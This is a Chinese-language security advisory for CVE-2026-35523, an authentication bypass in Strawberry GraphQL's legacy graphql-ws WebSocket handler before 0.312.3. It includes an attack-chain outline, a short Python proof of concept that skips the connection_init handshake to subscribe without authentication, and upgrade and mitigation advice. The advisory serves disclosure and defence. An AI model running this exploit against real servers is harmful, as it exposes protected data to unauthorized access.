IPBUF安全漏洞报告
English
CVE-2026-35523 CVSS 7.5 高危

CVE-2026-35523 Strawberry GraphQL认证绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35523
漏洞类型
认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Strawberry GraphQL

相关标签

认证绕过GraphQLWebSocketStrawberry GraphQL高危漏洞

漏洞概述

Strawberry GraphQL是一个用于创建GraphQL API的Python库。在0.312.3版本之前,该库存在一个严重的安全漏洞,允许攻击者绕过WebSocket订阅端点的身份验证。该漏洞源于旧的graphql-ws子协议处理逻辑未能正确验证连接初始化握手是否完成。攻击者可以在不发送connection_init消息的情况下直接发送start(订阅)消息,从而完全绕过on_ws_connect身份验证挂钩。这意味着未经授权的远程攻击者可以订阅本应受保护的GraphQL频道,获取敏感信息。该漏洞已在版本0.312.3中得到修复,建议用户尽快升级。

技术细节

该漏洞的核心在于Strawberry GraphQL对WebSocket连接处理流程中的逻辑缺陷。在正常的GraphQL WebSocket通信中(特别是使用graphql-ws协议),客户端必须先发送一个connection_init消息进行握手,服务端通常在此阶段调用on_ws_connect钩子来验证用户身份,只有验证通过后,客户端才能发送start消息订阅数据。然而,在受影响版本中,graphql-ws子协议处理器未能严格执行这一顺序检查。当攻击者建立WebSocket连接并指定graphql-ws协议时,服务端直接接受了后续的start消息,而忽略了未进行connection_init握手的事实。利用此漏洞非常简单,攻击者只需构造特定的WebSocket客户端,跳过身份验证步骤,直接发送订阅请求。由于on_ws_connect未被触发,任何依赖该钩子进行鉴权的逻辑都将失效,导致攻击者能够访问受限数据或执行受限操作。

攻击链分析

STEP 1
步骤1:建立连接
攻击者向目标Strawberry GraphQL服务发起WebSocket连接请求,并在握手头中指定使用graphql-ws子协议。
STEP 2
步骤2:跳过认证
攻击者不发送标准的connection_init消息,直接向服务端发送类型为start的订阅消息,试图绕过on_ws_connect钩子的身份验证检查。
STEP 3
步骤3:处理请求
由于服务端存在漏洞,未校验握手步骤即处理了start消息,导致订阅成功建立。
STEP 4
步骤4:获取数据
服务端将订阅数据的实时变更推送给攻击者,攻击者成功获取了本应受保护的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json async def exploit(target_uri): # Connect to the vulnerable WebSocket endpoint using graphql-ws subprotocol async with websockets.connect(target_uri, subprotocols=['graphql-ws']) as websocket: # Construct the payload with a 'start' message type # Intentionally skipping the 'connection_init' handshake step payload = { "id": "1", "type": "start", "payload": { "query": "subscription { sensitiveData { id content } }" } } print("[*] Sending subscription start message bypassing auth...") await websocket.send(json.dumps(payload)) # Listen for server response while True: try: response = await websocket.recv() print(f"[+] Received data: {response}") except websockets.exceptions.ConnectionClosed: print("[!] Connection closed") break # Target URL example # asyncio.run(exploit("ws://vulnerable-target.com/graphql"))

影响范围

Strawberry GraphQL < 0.312.3

防御指南

临时缓解措施
建议立即将Strawberry GraphQL库升级至0.312.3版本以彻底修复此漏洞。如果暂时无法升级,应在应用防火墙或反向代理层面实施严格的访问控制,确保只有经过身份验证的请求才能建立WebSocket连接,或者在网络层面限制对GraphQL端点的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表